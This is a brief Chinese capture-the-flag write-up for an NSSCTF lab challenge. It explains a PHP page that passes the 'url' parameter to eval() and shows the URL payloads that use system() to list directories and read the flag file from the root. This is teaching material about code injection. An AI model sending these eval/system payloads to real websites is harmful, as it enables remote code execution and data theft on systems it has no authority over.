先看网页
代码审计:
error_reporting(0); :关闭报错,代码的错误将不会显示
highlight_file(__FILE__); :将当前文件的源代码显示出来
eval($_GET['url']); :将url的值作为php代码执行
解题:
题目既然允许我们自己输入代码,那我们就先ls查看文件
http://node5.anna.nssctf.cn:28422/?url=system('ls');
注意,因为eval函数是把url的值当成php代码,所以记得遵守php代码的书写规范,在最后加个分号:
可以看到只有一个index.php,那我们尝试往它的父目录找flag
http://node5.anna.nssctf.cn:28422/?url=system('cd ../;ls');
没有flag,再往上
http://node5.anna.nssctf.cn:28422/?url=system('cd ../../;ls');
没有,再往上
http://node5.anna.nssctf.cn:28422/?url=system('cd ../../../;ls');
有了,我们直接打开flag
http://node5.anna.nssctf.cn:28422/?url=system('cd ../../../;ls;cat flllllaaaaaaggggggg');
这样就得到flag了。
其实这道题快的话可以运用如下payload
http://node5.anna.nssctf.cn:28422/?url=system('ls /');
其中system('ls /');是列出根目录的文件,这道题的flag正好在根目录上
http://node5.anna.nssctf.cn:28422/?url=system('cat /f*');
其中system('cat /f*');是查看文件系统中以f开头的文件